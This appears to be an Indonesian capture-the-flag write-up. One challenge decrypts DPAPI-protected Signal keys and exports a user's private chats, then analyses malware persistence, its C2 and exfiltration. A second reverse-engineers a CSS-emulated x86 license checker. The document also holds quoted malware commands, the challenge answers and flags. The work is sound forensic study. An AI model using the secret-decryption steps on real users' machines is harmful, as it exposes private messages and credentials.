Nah kata deepseek, config.json itu DPAPI encrypted dan untungnya kita dikasih pw laptop user. 

Pertama bikin prekeys nya dulu -> dekrip masterkey -> dekrip dpapi_blob dari Local State -> 

dekrip config.json 

$ pypykatz dpapi prekey password S-1-5-21-3507438758-983080014-556320364-1001 
paimianofficial -o prekeys.txt 
 
$ cat prekeys.txt 
cbde9b311f9ff4327161352888bfb47b4a75c53e 
63f359ec966505f95adabf83eecee2ddca658ca5 
92d395e9243bbcdc7555684af4dc4f37fdd2a20f 
03fbde213162ca05fb98e630b11f2b45e2c71af8 
 
$ pypykatz dpapi masterkey a479c462-54d6-45f2-8db5-0ae9f25fabd2 prekeys.txt 
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[GUID] a479c462-54d6-45f2-8db5-0ae9f25fabd2 [MASTERKEY] 
58128fb0211e56e3b60744a87ab58eb3101cdcbf88dddd260a7cd1148390753f74f2efb22ab
b65f7baaf73d7ea780b14af8f574ce6ca8bd74dda599c40c0a3a8 
 
$ cat Local\ State 
{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8
KX6wEAAABixHmk1lTyRY21CunyX6vSEAAAABIAAABDAGgAcgBvAG0AaQB1AG0AAAAQZgA
AAAEAACAAAAAVJnMH0XmKgEMBs9L++MbRcgwZ79nkzUEreOXm4R1jCgAAAAAOgAAAAA
IAACAAAACOdolCWpXIPFIw9Y8n4+TfKWGEXBa1P9iKhRwpv8PDjjAAAABlt12dglufIkP1JcJH
DEn1lD6WNShCqBApo4z7g1Mo2llcrWZmc/2GQGl40wnjZ8dAAAAA57sadceIZJStyEw2Mm
MMaVTArQvrqSKlMMJFL9tHkL8RtkjJY9KQdSjld1ezsanS4yyJEmaY+9/PDE6a28Uhbw=="},"u
ninstall_metrics":{"installation_date2":"1788870542"}} 
 
$ echo 
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABixHmk1lTyRY21CunyX6vSEAAAABIA
AABDAGgAcgBvAG0AaQB1AG0AAAAQZgAAAAEAACAAAAAVJnMH0XmKgEMBs9L++MbRcg
wZ79nkzUEreOXm4R1jCgAAAAAOgAAAAAIAACAAAACOdolCWpXIPFIw9Y8n4+TfKWGEXBa
1P9iKhRwpv8PDjjAAAABlt12dglufIkP1JcJHDEn1lD6WNShCqBApo4z7g1Mo2llcrWZmc/2GQ
Gl40wnjZ8dAAAAA57sadceIZJStyEw2MmMMaVTArQvrqSKlMMJFL9tHkL8RtkjJY9KQdSjld1e
zsanS4yyJEmaY+9/PDE6a28Uhbw==" | base64 -d | tail -c +6 > dpapi_blob.bin 
 
$ impacket-dpapi unprotect -file dpapi_blob.bin -key 
0x58128fb0211e56e3b60744a87ab58eb3101cdcbf88dddd260a7cd1148390753f74f2efb22
abb65f7baaf73d7ea780b14af8f574ce6ca8bd74dda599c40c0a3a8 
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 
 
Successfully decrypted data 
 0000   09 9D D0 05 8E 20 00 57  D5 19 BC 8F D9 36 FE 7A   ..... .W.....6.z 
 0010   3B CF 92 FD 21 AE FB CF  90 7C 7B DE 05 EA 97 F3   ;...!....|{..... 

Buat dekrip config.json nya bisa pake skrip ini. Sayangnya gagal kalo ngambil langsung dari 

output skrip, harus diubah dulu dari hex.  

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 
 
encrypted_key_hex = 
"7631301360dc2195315f9f7ff13a74cfece7fbeb6bb6e099bd7401353534e4ab7b3d816c0b5
66def94b0af456d6f72eaa610427f6ebbb934f088edfe03c7bd385521a5172ab295e53a9681
c7f5df4d499dfca62977a5428c918aefcefb5c0f" 
 
aux_key_hex = 
"099dd0058e200057d519bc8fd936fe7a3bcf92fd21aefbcf907c7bde05ea97f3" 
 
enc = bytes.fromhex(encrypted_key_hex) 
aux = bytes.fromhex(aux_key_hex) 
 
# Struktur: 3 byte header, 12 byte nonce, ciphertext, 16 byte tag 
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nonce = enc[3:15] 
ciphertext = enc[15:-16] 
tag = enc[-16:] 
 
cipher = Cipher(algorithms.AES(aux), modes.GCM(nonce, tag)) 
decryptor = cipher.decryptor() 
plaintext = decryptor.update(ciphertext) + decryptor.finalize() 
 
print("SQLCipher Key (hex):", plaintext.hex()) 
 

 
 
$ sigexport --source /mnt/d/Users/Paimian/AppData/Roaming/Signal --key 
c37efecefdcbe909333e8449eaaba006b4ff7b11a1554c46d136bfd2736845e6 --list-chats 
Paimian | Signal | Tuan 
 
$ sigexport --source /mnt/d/Users/Paimian/AppData/Roaming/Signal --key 
c37efecefdcbe909333e8449eaaba006b4ff7b11a1554c46d136bfd2736845e6 
--chats=Paimian,Tuan ./signal-chats 
Exporting stickers 
Copying and renaming attachments 
Creating output files 
Done! 
 
$ cat signal-chats/Tuan/chat.md 
… 
 
[2026-09-07 21:50:16] Tuan: sama sama SECRET WORD : BambausticHebat 

Next, tinggal pake tools buat nyari list chats, riwayat chat, and cat chat.md 

3. What is the first malicious file SHA256 hash? (Format: sha256 hash) 
Answer: 

Di akhir chat ada link. Download -> unzip pake secret word tadi -> cek hashnya. 

$ sha256sum SpotifyInstaller.exe 
d8a9db6fc10aac0aad910b5ea89ff1e85f662662e0d0107582d38f7354ed4b85  
SpotifyInstaller.exe 
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4. When was the initial malicious file executed? (Format: UTC, hh:mm:ss) 
Answer: 

Dapet dari prefetch trus parse pake https://www.prefetchparser.com/en (biar cepet hehe) 

 

5. What is the full path of the registry key the malware created to achieve persistence? 
(Format: HKCU\Microsoft\Hai|Wavess) 
Answer: 

Anyway for this challenge just throw the exe to vt and correct what resulted there hehe 

 

6. What file did the initial malware drop onto the system? (Format: filename.ext) 
Answer: 

Dari vt lagi 
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7. What is the full file path of the second malicious file? (Format: 
C:\Users\Paimian\Downloads\...) 
Answer: 

Ada di ss an sebelumnya juga, ganti aja usernya ke Paiminia 

8. What is the IP address of the Command and Control (C2) server? (Format: IP) 
Answer: 

Dari vt lagi 

 

[*] Here's a new file for you to continue your investigaation: 
    
https://binusianorg-my.sharepoint.com/personal/owen_bong_binus_ac_id/_layouts/15/gue
staccess.aspx?share=IQArO5Fq6AgYTZhfzjpGodH4Ad6GPMQvSBn1ePSvDre8YYE&e=tTRiCg 
 
 9. What keyword triggers the malware to execute data exfiltration? (Format: SecretWord) 
Answer: 

Next kita disuruh download dan analisis pcap. Oke dari vt udh jelas kalo exfilnya lewat http so 

lets analyze that protocol. Ada beberapa post ke /upload, sebelumnya itu ada post ke /beacon 

dangan response body SPX-EXEC, so i just assume that this is the trigger because it happens 

exactly before the exfil and it’s correct 
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10. What is the full command sent by the malware to discover files? (Format: command) 
Answer: 

Dari traffic sebelumnya -> base64 -d 

 

11. The malware splits its encryption key material into several fragments in memory. How 
many fragments are there? (Format: number) 
Answer: 
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Ini bf dari 1-10 dptnya 8 (mff kan saya infra) 

12. Each fragment holds some real key material followed by random padding. How many 
bytes of real key material does each fragment hold? (Format: number) 
Answer: 

Ini jg disuruh bf sama deepseek, dptnya 34 (mff kan saya infra part II) 

13. Each fragment's allocation is larger than the previous one by a fixed amount. What is that 
amount, in bytes? (Format: number) 
Answer: 

ywdh deh sy rev, ketemu di function derive_and_shard. 

 

14. What is the full virtual address at which the third fragment's key material begins? 
(Format: hex, e.g. 0x00024373...) 
Answer: 

Oke ini perlu bantuan windbg buat load .dmp yang ditemuin di 

%APPDATA%/Local/Crashdumps/. Disini nyoba buat dump heap nya. 
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Selanjutnya dump isi heapnya satu - satu. And we got the output from the 0x19e0ccd000 yang 

terlihat berurutan dan headernya sama 16 byte. And the third fragment is in the 

0x0000019e0ccd1010 then the key material is 0x0000019e0ccd1020 

 

15. What is the final 16-byte key used to decrypt the exfiltrated data? (Format: lowercase 
hex, no 0x, no separators, e.g. a73bd30dc...) 
Answer: 

Oke dari alamat yang udah kita dapetin sebelumnya, bisa dicek key material di fragment 

pertama dengan dump 16 byte. Lalu submit dan jawabannya benar. 

 

16. List the names of all files that were exfiltrated, in the order they appear in the exfil 
container. 
   Give each name exactly as stored, including spaces, parentheses, and extension. 
   (Format: filename1_filename2_filename3, e.g. Annual Report.pdf_photo 2 (2).jpg_main.c) 
Answer: 

Ada di pcap, di http trafficnya 
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17. What was the content of the exfiltrated PDF file? (Format: word) 
Answer: 

Karena chunk yang di exfil banyak dan harus parsing, deepseek kan saja le. And it came up 

with this script  

#!/usr/bin/env python3 
import struct, os, zlib 
import numpy as np 
 
KEY = bytes.fromhex("d9d7e8eba15a13fc8a2aa5993adda431") 
SBOX = bytes.fromhex( 
    "001398e8c24957377eb5811f9cc673801c61" 
    "cb9905b406488562347bea8342246becb60735566a2d2371e1df67fb5e2c878cf264" 
    "16bb9d2769d5cc09755a0b2e6d8bfff553afc7d650c0bcc43a21f32bac54979447f0" 
    "c37cf16678a33b5d106355fc383225b38da51188602f916fa4c9e31e297417585f76" 
    "0c9f68599e5cbe828a9b284e02459aee36ddb95293b2cec5a915db4ab86cbdf4e68f" 
    "2aaa149089e5cfed038644de3ca0ebd4d970e9fdf639b16530d796d219cd41fae73e" 
    "a840e44f7f51f97a5b0d0f1de2f8aea143924d3f4677bf2279d818adb7c1b008daa7" 
    "d0f7baa231d16e1b4bfe121a3dab7de004c820d3ca840a26dc0e4c95ef8e3301a672" 
) 
assert len(SBOX) == 256, f"Sbox length {len(SBOX)}" 
 
SBOX_INV_arr = [0]*256 
for i, v in enumerate(SBOX): SBOX_INV_arr[v] = i 
SBOX_INV = np.array(SBOX_INV_arr, dtype=np.uint8) 
KEY_arr = np.frombuffer(KEY, dtype=np.uint8) 
 
def decrypt(c: bytes) -> bytes: 
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    a = np.frombuffer(c, dtype=np.uint8) 
    k = np.tile(KEY_arr, (len(a)+15)//16)[:len(a)] 
    return (SBOX_INV[a] ^ k).tobytes() 
 
def try_parse(plain): 
    if plain[:4] != b"SPXF": return None 
    if len(plain) < 6: return None 
    n = struct.unpack("<H", plain[4:6])[0] 
    if n != 3: return None 
    off = 6 
    files = [] 
    try: 
        for _ in range(n): 
            nl = struct.unpack("<H", plain[off:off+2])[0]; off += 2 
            if nl < 1 or nl > 200: return None 
            name = plain[off:off+nl].decode('utf-8'); off += nl 
            sz = struct.unpack("<I", plain[off:off+4])[0]; off += 4 
            if sz < 1 or sz > 10**7: return None 
            data = plain[off:off+sz]; off += sz 
            files.append((name, data)) 
    except Exception: 
        return None 
    if off != len(plain): return None 
    if files[0][1][:4] != b"%PDF": return None 
    if files[1][1][:4] != b"\x89PNG": return None 
    return files 
 
def extract(plain): 
    files = try_parse(plain) 
    if not files: return False 
    os.makedirs("exfil_out", exist_ok=True) 
    for name, data in files: 
        path = os.path.join("exfil_out", name) 
        open(path, "wb").write(data) 
        print(f"[+] {name} ({len(data)} bytes) -> {path}") 
 
    pdf_path = "exfil_out/Final Revision.pdf" 
    if os.path.exists(pdf_path): 
        pdf = open(pdf_path, "rb").read() 
        print(f"\n[*] PDF size: {len(pdf)}") 
        import re 
        for m in re.finditer(rb'stream\r?\n(.*?)\r?\nendstream', pdf, re.DOTALL): 
            raw = m.group(1) 
            for skip in range(0, 20): 
                try: 
                    d = zlib.decompress(raw[skip:]) 
                    print(f"[+] PDF stream ({len(d)} bytes):") 
                    print(d.decode('latin-1', errors='replace')[:2000]) 
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                    break 
                except Exception: 
                    pass 
    return True 
 
def main(): 
    cipher = open("exfil_cipher_sorted.bin", "rb").read() 
    print(f"[*] Cipher length: {len(cipher)} (expected 348489)") 
 
    plain = decrypt(cipher) 
    print(f"[*] Plain first 16: {plain[:16]}") 
 
    if try_parse(plain): 
        print("[+] Direct parse OK!") 
        extract(plain) 
        return 
 
    # Cari mismatch pertama 
    print("[*] Searching for first mismatch in known region...") 
    first_bad = None 
    known = [ 
        (0, b"SPXF\x03\x00"), 
        (6, struct.pack("<H", 18) + b"Final Revision.pdf"), 
        (26, struct.pack("<I", 18387)), 
        (30, b"%PDF-1.7"), 
    ] 
    for start, exp in known: 
        for j in range(len(exp)): 
            p = start + j 
            if p >= len(plain): break 
            if plain[p] != exp[j]: 
                first_bad = p 
                print(f"[*] Mismatch at plaintext position {p}: got 0x{plain[p]:02x} exp 
0x{exp[j]:02x}") 
                break 
        if first_bad is not None: break 
 
    if first_bad is None: 
        print("[!] No mismatch found in known regions") 
        # Coba append 1 byte di akhir 
        for b in range(256): 
            test = cipher + bytes([b]) 
            tp = decrypt(test) 
            if try_parse(tp): 
                print(f"[+] Append byte 0x{b:02x} works") 
                extract(tp) 
                return 
        return 
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    # Byte cipher yang hilang ada di posisi P (sebelum mismatch). 
    # Karena plaintext shift -1 setelah byte hilang, kita coba insert di [first_bad-2, first_bad+2] 
    print(f"[*] Byte missing near cipher position {first_bad}") 
    for pos in range(max(0, first_bad-3), first_bad+3): 
        for b in range(256): 
            test = cipher[:pos] + bytes([b]) + cipher[pos:] 
            tp = decrypt(test) 
            if try_parse(tp): 
                print(f"[+] FOUND! Insert 0x{b:02x} at cipher pos {pos}") 
                extract(tp) 
                return 
 
    # Fallback: scan 4096-boundaries 
    print("[*] Local insert failed, scanning chunk boundaries...") 
    for pos in range(0, len(cipher)+1, 4096): 
        for b in range(256): 
            test = cipher[:pos] + bytes([b]) + cipher[pos:] 
            tp = decrypt(test) 
            if try_parse(tp): 
                print(f"[+] FOUND! pos={pos} byte=0x{b:02x}") 
                extract(tp) 
                return 
 
    print("[!] All attempts failed") 
 
main() 

Open the pdf to answer the goddamn last question 

 

from pwn import * 
p = remote('144.91.64.93', 13337) 
print(p.recvuntil(b'Answer: ').decode()) 
answers = [ 
    'Signal', 
    'BambausticHebat', 
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    'd8a9db6fc10aac0aad910b5ea89ff1e85f662662e0d0107582d38f7354ed4b85', 
    '12:43:21', 
    
r"HKCU\Software\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\ope
n\command", 
    'sptfy_update.exe', 
    r'C:\Users\Paimian\AppData\Local\Temp\sptfy_update.exe', 
    '192.168.56.1', 
    'SPX-EXEC', 
    r'Get-ChildItem $env:USERPROFILE\Documents -Recurse | Select-Object FullName, 
Length', 
    '8', 
    '34', 
    '256', 
    '0x0000019e0ccd1020', 
    'd9d7e8eba15a13fc8a2aa5993adda431', 
    r'Final Revision.pdf_SLIDE 1 11 (1).png_Untitled2.cpp', 
    'you_solved_the_challenge_so_go_on_submit_this' 
 
] 
 
for answer in answers: 
    p.sendline(answer.encode()) 
    response = p.recv().decode() 
    print(response) 
print(p.recvall().decode()) 

FLAG: IFEST26{h00ray_g0_0n_5ubm1t_th1s_fl4g_1_h0p3_y0ur3_3nt3rt4ined!!!} 

AI : https://chat.deepseek.com/share/7oipyfricesqz9ylxp 
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Reverse Engineering 
PC KentanK (100 Points) 

 

Flag = IFEST26{license} 
 

Author: batagoreng 

Dikasih file .html. Awal - awal di tag <script> itu ada kayak konstanta yang di encode gitu, 

ternyata cuma decoy 🥀. 

<script> 
  const _0x4d12 = [51, 28, 1, 242, 252, 166, 134, 153, 186, 191, 168, 158, 130, 42, 115, 123, 4, 
21, 6, 63, 62, 8, 20, 203, 166, 195, 226, 209, 248, 184, 136, 157, 143, 53, 71, 102, 2, 127, 36, 
55, 7, 29, 48, 191, 244, 235, 218, 152, 191, 229, 221, 198]; 
 
  function _0x2c7f(seed) { 
    let res = ""; 
    for (let i = 0; i < _0x4d12.length; i++) { 
      res += String.fromCharCode(_0x4d12[i] ^ ((i * 13 + (seed & 0xFF)) & 0xFF)); 
    } 
    return res; 
  } 
 
  window.verifyToken = function(passcode) { 
    let h = 0; 
    for (let i = 0; i < (passcode || "").length; i++) { 
      h = (h * 31 + passcode.charCodeAt(i)) & 0xFFFF; 
    } 
    if (h === 0x4823) { 
      return _0x2c7f(0x5B); 
    } 
    return _0x2c7f(0x5B); 
  }; 
</script> 

And next, karena udah buntu kita grep aja flag. Nah dapetlah hit --newFlags: --calcFlags(); 

selanjutnya kita konsul ke deepseek. 

.cpu { 
  --newFlags: --calcFlags(); 
  --__0frame-count: var(--frame-count); 
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Potongan kode diatas ternyata adalah inisiasi dari CSS-based CPU emulator yang ditandai 

dengan a big ass .cpu{...}. Kalo kita buka file nya di browser, akan mendapatkan arsitektur dari 

CPU nya yaitu x86. 

 

const cpu = document.querySelector('.cpu'); 
const cs = getComputedStyle(cpu); 
const vars = {}; 
for (const name of cs) { 
  if (name.startsWith('--')) { 
    vars[name] = cs.getPropertyValue(name).trim(); 
  } 
} 
console.table(vars); 

Pertama - tama kita mau dump variabel CSS nya dari browser dengan script diatas. But the 

results is too much index dengan 0 value. 
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Nextnya aku suruh deepsek apakah kita bisa convert this long ass css with more easier and 

readable content. Then it give me the code to dump cpu state from the page. At first script there 

is some error, so i will given out just the final dump cpu state script. 

import asyncio, json, pathlib 
from playwright.async_api import async_playwright 
 
HTML = pathlib.Path("challenge.html").resolve().as_uri() 
print("Loading:", HTML) 
 
async def main(): 
    async with async_playwright() as p: 
        browser = await p.chromium.launch(headless=False) 
        page = await browser.new_page() 
 
        # Auto-dismiss any prompt()/alert()/confirm() 
        page.on("dialog", lambda d: asyncio.create_task(d.dismiss())) 
 
        await page.goto(HTML) 
        await page.wait_for_timeout(3000) 
 
        state = await page.evaluate(""" 
            () => { 
                const cpu = document.querySelector('.cpu'); 
                if (!cpu) return { error: 'no .cpu element' }; 
                const cs = getComputedStyle(cpu); 
                const out = { mem: {}, regs: {} }; 
                const regNames = ['AX','BX','CX','DX','SP','BP','SI','DI','IP', 
                                  'ES','CS','SS','DS','flags']; 
                for (const r of regNames) { 
                    const v = cs.getPropertyValue('--__0' + r).trim(); 
                    if (v) out.regs[r] = v; 
                } 
                for (let i = 0; i < 0x3000; i++) { 
                    const v = cs.getPropertyValue('--__0m' + i).trim(); 
                    if (v && v !== '0') out.mem[i] = parseInt(v, 10); 
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                } 
                return out; 
            } 
        """) 
 
        if "error" in state: 
            print("ERROR:", state["error"]) 
        else: 
            with open("state.json", "w") as f: 
                json.dump(state, f, indent=2) 
            print("Registers:", state["regs"]) 
            print(f"Non-zero memory bytes: {len(state['mem'])}") 
 
        await browser.close() 
 
asyncio.run(main()) 

This script simulate the runtime with playwright then dump it on the state.json. But I think it 

result with many zero because the screen keeps idling so we cannot easily disasm the state.  

> python e.py 
Loading: 
file:///C:/Users/ACER/Downloads/CTF/ifest26/Reverse_Engineering/PC_KentanK/challen
ge.html 
Registers: {'AX': '0', 'BX': '0', 'CX': '0', 'DX': '0', 'SP': '1528', 'BP': '0', 'SI': '0', 'DI': '0', 'IP': '256', 
'ES': '0', 'CS': '0', 'SS': '0', 'DS': '0', 'flags': '0'} 
Non-zero memory bytes: 271 

From there, we stuck for parsing the html. Next I just follow what deepseek said which is dump 

the live computed values. 

import asyncio, json, pathlib 
from playwright.async_api import async_playwright 
 
HTML = pathlib.Path("challenge.html").resolve().as_uri() 
 
async def main(): 
    async with async_playwright() as p: 
        browser = await p.chromium.launch(headless=True) 
        page = await browser.new_page() 
        page.on("dialog", lambda d: asyncio.create_task(d.dismiss())) 
        page.on("console", lambda m: print("CONSOLE:", m.text)) 
        await page.goto(HTML) 
 
        for wait_ms in [200, 1000, 3000, 6000, 10000]: 
            await page.wait_for_timeout(wait_ms) 
            data = await page.evaluate("""() => { 
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                const out = { vars: {}, text: {}, html: {} }; 
                const cpu = document.querySelector('.cpu') || document.documentElement; 
                const cs = getComputedStyle(cpu); 
                for (const name of cs) { 
                    if (name.startsWith('--m') || name.startsWith('--AX') 
                        || name.startsWith('--IP') || name.startsWith('--flags') 
                        || name.startsWith('--SP')) { 
                        const v = cs.getPropertyValue(name).trim(); 
                        if (v && v !== '0' && v !== '') out.vars[name] = v; 
                    } 
                } 
                for (const sel of ['body', '.screen', '.frame-footer', '.frame-body', '.frame']) { 
                    const el = document.querySelector(sel); 
                    if (el) { out.text[sel] = el.innerText; out.html[sel] = el.innerHTML; } 
                } 
                return out; 
            }""") 
            fn = f"dump_{wait_ms}.json" 
            json.dump(data, open(fn, "w"), indent=2) 
            print(f"\n===== t≈{wait_ms}ms =====") 
            print(f"  var count: {len(data['vars'])}") 
            for sel, txt in data['text'].items(): 
                print(f"  text[{sel}]: {repr(txt[:300])}") 
 
        await browser.close() 
 
asyncio.run(main()) 

Resultnya sama semua dari timing yg di set 

> python .\live_dump.py 
 
===== t≈200ms ===== 
  var count: 990 
  text[body]: 'SYSTEM NODE 0x0100 // VINTAGE ARCHIVE\nARCH\nx86 / 
8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE         ' 
  text[.screen]: '' 
  text[.frame-footer]: 'SEGMENT: 0x0100\nREADY' 
  text[.frame-body]: 'ARCH\nx86 / 8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE                      |\n+----------------------' 
 
===== t≈1000ms ===== 
  var count: 990 
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  text[body]: 'SYSTEM NODE 0x0100 // VINTAGE ARCHIVE\nARCH\nx86 / 
8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE         ' 
  text[.screen]: '' 
  text[.frame-footer]: 'SEGMENT: 0x0100\nREADY' 
  text[.frame-body]: 'ARCH\nx86 / 8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE                      |\n+----------------------' 
 
===== t≈3000ms ===== 
  var count: 990 
  text[body]: 'SYSTEM NODE 0x0100 // VINTAGE ARCHIVE\nARCH\nx86 / 
8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE         ' 
  text[.screen]: '' 
  text[.frame-footer]: 'SEGMENT: 0x0100\nREADY' 
  text[.frame-body]: 'ARCH\nx86 / 8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE                      |\n+----------------------' 
 
===== t≈6000ms ===== 
  var count: 990 
  text[body]: 'SYSTEM NODE 0x0100 // VINTAGE ARCHIVE\nARCH\nx86 / 
8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE         ' 
  text[.screen]: '' 
  text[.frame-footer]: 'SEGMENT: 0x0100\nREADY' 
  text[.frame-body]: 'ARCH\nx86 / 8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE                      |\n+----------------------' 
 
===== t≈10000ms ===== 
  var count: 990 
  text[body]: 'SYSTEM NODE 0x0100 // VINTAGE ARCHIVE\nARCH\nx86 / 
8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE         ' 
  text[.screen]: '' 
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  text[.frame-footer]: 'SEGMENT: 0x0100\nREADY' 
  text[.frame-body]: 'ARCH\nx86 / 8086\nMEMORY\n1568 
CELLS\nSTATE\nONLINE\n+-------------------------------------------------------+\n|  VINTAGE 
COMPUTING PRESERVATION ARCHIVE (1998-2026)  |\n|  STATUS: IDLE                                         
|\n|  RUNTIME: CASCADING CORE ENGINE                      |\n+----------------------' 

Berikutnya kita cara “kotor” dengan nge dump semua hex-dump-style view dari memory dan 

seluruh embedded ASCII. 

python -c "import json; d=json.load(open('dump_10000.json')); mem=[0]*0x3000; 
[mem.__setitem__(int(k[3:]), int(v)) for k,v in d['vars'].items() if k.startswith('--m') and 
k[3:].isdigit() and v.lstrip('-').isdigit()]; s=''.join(chr(b) if 32<=b<127 else '.' for b in 
mem[:0x1000]); [print(f'{i:04X}: {s[i:i+64]}') for i in range(0, 0x1000, 64)]" 

Hasilnya cukup signifikan, dimana di 0x280–0x330 kita bisa liat ada pola yang berulang seperti 

x86 opcodes (33 C9 XOR CX,CX, 2D SUB AX,imm16, 39 CMP, 75 JNZ). 

PS C:\Users\ACER\Downloads\CTF\ifest26\Reverse_Engineering\PC_KentanK> python -c 
"import json; d=json.load(open('dump_10000.json')); mem=[0]*0x3000; 
[mem.__setitem__(int(k[3:]), int(v)) for k,v in d['vars'].items() if k.startswith('--m') and 
k[3:].isdigit() and v.lstrip('-').isdigit()]; s=''.join(chr(b) if 32<=b<127 else '.' for b in 
mem[:0x1000]); [print(f'{i:04X}: {s[i:i+64]}') for i in range(0, 0x1000, 64)]" 
0000: ................................................................ 
0040: ................................................................ 
0080: ................................................................ 
00C0: ................................................................ 
0100: ........!./..<.t.P.. ....1... ..<.t.<.u....t.O..<.t.<.t....}.... 
0140: .GP.. .... ..<.u......t.............................r........3.. 
0180: .P....7.....X......1...............................r........3... 
01C0: P....7.....X......1...............................r........3...P 
0200: ....7.....X......1...............................r........3...P. 
0240: ...7.....X......1.....................1.............1........>.. 
0280: .s.......3...-..9...ur...3...-.$9...ub...3...-"H9...uR...3...-3l 
02C0: 9...uB...3...-D.9...u2...3...-U.9...u"...3...-f.9...u....3...-w. 
0300: 9...u.......<.t.P.. ........l..<.t.P.. ........=== 8086 LICENSE 
0340: VALIDATION MODULE ===.ENTER 16-CHAR KEY:.> ..[+] ACTIVATION SUCC 
0380: ESS! LICENSE VERIFIED....[-] INVALID LICENSE KEY! RETRY:.> ...p. 
03C0: .3p.}...>0.d7.BB........4.xV..ww................................ 

Lalu kita clean dengan script ini 

import json 
from capstone import * 
 
d = json.load(open("dump_10000.json")) 
mem = bytearray(0x10000) 
for k, v in d["vars"].items(): 
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    if k.startswith("--m") and k[3:].isdigit(): 
        try: 
            mem[int(k[3:])] = int(v) & 0xFF 
        except ValueError: 
            pass 
 
# Hex dump of code region 
print("--- hex dump 0x100-0x330 ---") 
for row in range(0x100, 0x330, 16): 
    hexs = " ".join(f"{mem[row+i]:02X}" for i in range(16)) 
    print(f"{row:04X}: {hexs}") 
 
# Disassemble 
print("\n--- disasm from 0x100 ---") 
md = Cs(CS_ARCH_X86, CS_MODE_16) 
for insn in md.disasm(bytes(mem[0x100:0x400]), 0x100): 
    print(f"{insn.address:04X}: {insn.bytes.hex():<14} {insn.mnemonic:<8} {insn.op_str}") 
 
# Encrypted key at 0x3D4 
print("\n--- bytes at 0x3D4 (target key?) ---") 
print(" ".join(f"{mem[0x3D4+i]:02X}" for i in range(16))) 

Finally kita dapet validator logicnya dari output script diatas. 16 char disimpan di 

[0x500..0x50F] -> i = 0..11 with 4 mini-blocks + post-mix per round -> K = [0x1337, 0x4242, 

0xDEAD, 0xBEEF, 0xCAFE, 0x9090, 0x1234, 0x5678, 0xABCD, 0x7777, 0x8888, 0x9999] -> cl = 

i+1 for i<7, else i-6 (always 1..7) -> D = (i * 0x1337) & 0xFFFF -> setelah 12 round, state[0..7] 

compared dengan the target computed from words at 0x3BC..0x3CB (XORed with K, minus 

constants) -> hasilnya adalah target = [0xAC3F, 0x948E, 0xD968, 0x81D4, 0x6106, 0x76F9, 

0x49A4, 0x16EE]. Next, kita tinggal balik logic ini, and we got the script here 

MASK = 0xFFFF 
 
def rol16(x, n): 
    n &= 15 
    return ((x << n) | (x >> (16 - n))) & MASK if n else x & MASK 
 
def get_cl(i): 
    return i + 1 if i < 7 else i - 6 
 
K = [0x1337, 0x4242, 0xDEAD, 0xBEEF, 0xCAFE, 0x9090, 
     0x1234, 0x5678, 0xABCD, 0x7777, 0x8888, 0x9999] 
 
target = [0xAC3F, 0x948E, 0xD968, 0x81D4, 
          0x6106, 0x76F9, 0x49A4, 0x16EE] 
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def undo_round(ns, i): 
    Ki = K[i] 
    cl = get_cl(i) 
    D  = (i * 0x1337) & MASK 
 
    # 1) undo post-mix 
    pns = [0]*8 
    pns[4], pns[5], pns[6], pns[7] = ns[4], ns[5], ns[6], ns[7] 
    pns[0] = (ns[0] - pns[5]) & MASK 
    pns[1] =  ns[1] ^ pns[6] 
    pns[2] = (ns[2] - pns[7]) & MASK 
    pns[3] =  ns[3] ^ pns[4] 
 
    s = [0]*8 
    s[4], s[5], s[6], s[7] = pns[0], pns[1], pns[2], pns[3] 
 
    # 2) undo the j-loop backwards: block4 -> block3 -> block2 -> block1 
    t4 = ((rol16((s[7] + Ki) & MASK, cl) ^ s[4]) + D) & MASK 
    s[3] = pns[7] ^ t4 
 
    t3 = ((rol16((s[6] + Ki) & MASK, cl) ^ s[3]) + D) & MASK 
    s[2] = pns[6] ^ t3 
 
    t2 = ((rol16((s[5] + Ki) & MASK, cl) ^ s[2]) + D) & MASK 
    s[1] = pns[5] ^ t2 
 
    t1 = ((rol16((s[4] + Ki) & MASK, cl) ^ s[1]) + D) & MASK 
    s[0] = pns[4] ^ t1 
 
